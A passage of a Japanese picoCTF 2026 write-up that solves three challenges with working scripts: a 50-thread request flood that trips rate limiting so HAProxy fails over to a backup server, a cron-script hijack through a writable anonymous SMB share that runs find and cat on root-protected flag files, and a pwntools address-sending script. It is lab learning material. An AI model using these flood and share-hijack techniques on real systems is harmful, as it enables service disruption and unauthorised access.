    timeout client 10s
    timeout server 10s
    
frontend http-in
    bind *:80
    default_backend servers

backend servers
    option httpchk GET /
    http-check expect status 200
    server s1 *:8000 check inter 2s fall 2 rise 3
    server s2 *:9000 check backup inter 2s fall 2 rise 3

ユーザーは直接Flaskにアクセスするのではなく、このHAProxyを経由します。

  1. 普段はメインのs1サーバーに繋がる。

  2. s2backupと指定されているため、普段はアクセスできない(ここにフラグがある!)。

  3. HAProxyは2秒ごと(inter 2s)に/にアクセスしてヘルスチェックを行っている。

  4. ステータスが200以外の応答が2回連続(fall 2)続くと、バックアップのs2にフェイルオーバー(切り替え)される。

つまり、1分間に300回以上のリクエストをメインサーバー(s1)に叩き込み、わざとレート制限(503エラー)を発生させると、HAProxyのヘルスチェックも503エラーを受け取るため、フラグを持っているs2に繋げてくれるはずです。

方針が決まったので、まずはPythonのforループを使って350回リクエストを送るスクリプトを書きました。

# 一部抜粋
for i in range(350):
    try:
        r = requests.get(url)
        
        # 進行状況を見やすくするために50回ごとにログを出力
        if (i + 1) % 50 == 0:
            print(f"  -> {i + 1}発 完了 (現在のステータス: {r.status_code})")
            
    except requests.exceptions.RequestException as e:
        print(f"通信エラー: {e}")

上記のようなforループのコードでは、「リクエストを送る → 返事を待つ → 次を送る」という同期処理になってしまい、ネットワークの通信待ち時間が発生するため、リクエストを送るスピードが遅く、503エラーを発生させることができませんでした。

そこで、以下のように並列処理を用いるコードに改良しました。

import requests
import concurrent.futures
import time

url = "http://mysterious-sea.picoctf.net:50840/" # 最後に / を入れる

def send_request(i):
    try:
        r = requests.get(url)
        return r.status_code
    except Exception:
        return None

print("[*] マルチスレッド弾幕開始 (50並列)...")

# max_workers=50 で、50本のリクエストを同時に走らせる
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    # 350回分のリクエストを一気に発射
    results = list(executor.map(send_request, range(350)))

# 結果の集計(503エラーが何回出たか)
error_count = results.count(503)
print(f"[*] 弾幕完了。503エラーの発生回数: {error_count}")

if error_count > 0:
    # HAProxyがダウン判定するまで待機(2秒 × 2回 = 最低4秒。余裕を見て6秒待つ
    time.sleep(6)

    print("\n[*] フェイルオーバー完了。\n")
    print(requests.get(url).text)
else:
    print("[!] 503エラーが出ませんでした。")

このコードを実行することで、無事にflagを回収することができました。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ python3 failover.py                                                   
[*] 開始
[*] マルチスレッド弾幕開始 (50並列)...
[*] 弾幕完了。503エラーの発生回数: 59 回
[*] 成功!

[*] フェイルオーバー完了

[...]
            
<h1>Welcome!!</h1>
<p>picoCTF{f41l0v3r_f0r_7h3_w1n_73050a63}</p>

[...]

Printer Shares 3

まずはsmbclientを使って、パスワードなし(-N)でアクセスできる共有フォルダを探します。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ smbclient -L //dolphin-cove.picoctf.net/ -p 59477 -N

        Sharename       Type      Comment
        ---------       ----      -------
        shares          Disk      Public Share With Guests
        secure-shares   Disk      Printer for internal usage only
        IPC$            IPC       IPC Service (Samba 4.19.5-Ubuntu)

今回もパスワード不要のsharesと、内部用のsecure-sharesが見つかりました。sharesの中身を覗いてみます。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ smbclient //dolphin-cove.picoctf.net/shares -p 59477 -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Mar 11 00:16:01 2026
  ..                                  D        0  Wed Mar 11 00:16:01 2026
  script.sh                           N       73  Thu Feb  5 06:22:17 2026
  cron.log                            N      344  Wed Mar 11 00:23:01 2026

script.shcron.logという2つのファイルがありました。これを手元にダウンロード(get)して中身を確認します。

smb: \> get cron.log
getting file \cron.log of size 344 as cron.log (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> get script.sh
getting file \script.sh of size 73 as script.sh (0.1 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> exit

script.shcron.logは以下のようになっていました。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ cat cron.log
Health Check: Tue Mar 10 15:16:01 UTC 2026
Health Check: Tue Mar 10 15:17:01 UTC 2026
Health Check: Tue Mar 10 15:18:01 UTC 2026
                                                                                                                                                                                                                                           
┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ cat script.sh 
#!/bin/bash
# this script runs every minute
echo "Health Check: $(date)"

これはLinuxのCronという自動実行機能です。script.shは誰でも書き換え可能なsharesに置かれているため、今回はこれを悪用します。

まず、サーバー全体からflagが含まれるファイルを探して出力するようなシェルスクリプトに書き換えます。

#!/bin/bash
# this script runs every minute
find / -name "*flag*" 2>/dev/null

これをsmbclientputコマンドで、サーバー上のsharesに上書きアップロードします。

smb: \> put script.sh

1分ほど待ってから、結果が記録された cron.log を再度ダウンロード(get)して中身を見ます。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ cat cron.log 
[...]
/challenge/secure-shares/flag.txt

/challenge/secure-shares/ディレクトリ内に、flag.txtを発見しました!

あとは同じ手順でscript.shcat /challenge/secure-shares/flag.txtに書き換え、再度アップロードして1分待つだけです。
更新されたcron.logを確認すると、無事にflagを獲得することができました!

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ cat cron.log
[...]
picoCTF{5mb_pr1nter_5h4re5_r3v3r53_0eb29140}

外部からsmbclientで直接secure-sharesにアクセスしようとすれば、Sambaに「パスワードを入れろ」とブロックされてしまいます。
しかし、今回コマンドを実行したのは外部からではなく、サーバーの内側にいる「Cronデーモン」です。Cronはシステムの管理用として、多くの場合root権限で動いています。

bytemancy 3

これが最終問題です!まず、配布されたapp.pyを読むと以下のように書かれていました。

I will name four procedures hidden inside spellbook.
Each round, send me their *raw* 4-byte addresses in little-endian form.

関数はapp.pyの中で以下のように定義されていました。

SPELLBOOK_FUNCTIONS = [
    "ember_sigil",
    "glyph_conflux",
    "astral_spark",
    "binding_word",
]

これは、「spellbookの中に隠された4つの関数の名前を言うから、そのメモリアドレスを「生バイト」かつ「リトルエンディアン形式」で送れ」ということです。(spellbookは配布されているバイナリファイルです。)

ということで、まずは手元にあるspellbookから、対象となる関数のアドレスを探し出します。今回はLinuxのnmコマンドを用いました。

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ nm spellbook | grep -E "ember_sigil|glyph_conflux|astral_spark|binding_word"
080491c1 T astral_spark
080491e3 T binding_word
08049176 T ember_sigil
0804919a T glyph_conflux

4つの関数のメモリアドレスが判明しました。

問題の指定にある 「リトルエンディアン形式 (little-endian)」 とは、コンピューターが複数バイトのデータをメモリに配置する際、「下の桁から順番に並べる」というデータ構造のルールです。
例えばastral_sparkのアドレス0x080491c1を生のバイトデータで送る場合、そのまま\x08\x04\x91\xc1と送るのではなく、逆から\xc1\x91\x04\x08と送る必要があります。

これを手作業で変換するのは大変ですが、Pythonのpwntoolsというライブラリにあるp32()という関数を使えば、一瞬で32ビットのリトルエンディアン形式に変換してくれます。

ここまでのことを踏まえて、特定したアドレスとpwntoolsを組み合わせて、サーバーの質問を自動で読み取り、正しいアドレスを即座に返し続ける自動化スクリプトを作成しました。

from pwn import *

# 1. 接続先の設定
host = 'green-hill.picoctf.net'
port = 64890 
io = remote(host, port)

# 2. 関数名とアドレスの対応表 
addrs = {
    "astral_spark": p32(0x080491c1),
    "binding_word": p32(0x080491e3),
    "ember_sigil": p32(0x08049176),
    "glyph_conflux": p32(0x0804919a),
}

print("--- 詠唱開始 ---")

# 3. 3回連続で質問に答える
for i in range(3):
    # 質問文(...procedure '関数名')を読み取る
    io.recvuntil(b"procedure '")
    # 関数名だけを抽出
    func_name = io.recvuntil(b"'").decode().strip("'")
    
    print(f"[{i+1}/3] 要求された関数: {func_name}")
    
    # 対応するバイナリアドレスを送信
    io.send(addrs[func_name])
    print(f"      => 送信アドレス: {addrs[func_name].hex()}")

# 4. 最後にフラグを受け取って表示
print("--- 結末 ---")
print(io.recvall().decode())

このスクリプトを実行することで、flagを獲得することができました!

┌──(kali㉿kali)-[~/PicoCTF2026]
└─$ python3 solve.py                  
[+] Opening connection to green-hill.picoctf.net on port 64890: Done
--- 詠唱開始 ---
[1/3] 要求された関数: glyph_conflux
      => 送信アドレス: 9a910408
[2/3] 要求された関数: astral_spark
      => 送信アドレス: c1910408
[3/3] 要求された関数: ember_sigil
      => 送信アドレス: 76910408
--- 結末 ---
[+] Receiving all data: Done (38B)
[*] Closed connection to green-hill.picoctf.net port 64890
.
==> picoCTF{0bjdump_m4g1c_9ee35d3a}

まとめと感想

今回はpicoCTF2026のGeneral Skillsのwriteupを作成してみました。基礎的な分野ではありますが、全問完答し、こうして解説として言語化できたことは自分にとって大きな自信になりました。

しかし、そのあとに挑戦したBinary Exploitationでは一問難問があり、今回のCTFではその難問を解くことはできず、そこはチームメイトに助けられることとなりました。また、他の分野でも難問を解くことはできず、結果的にチームメイトに助けられる結果となりました。 悔しい反面、難問を解き明かすチームメイトの姿を見て、さらにセキュリティへのモチベーションが上がりました。

いつか自分も難問が解けるように、諦めずに学習を続けていきます!また、今回のCTFでBinary Exploitationについて興味を持ったので、その分野の勉強も本格的に始めていこうと思います!

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?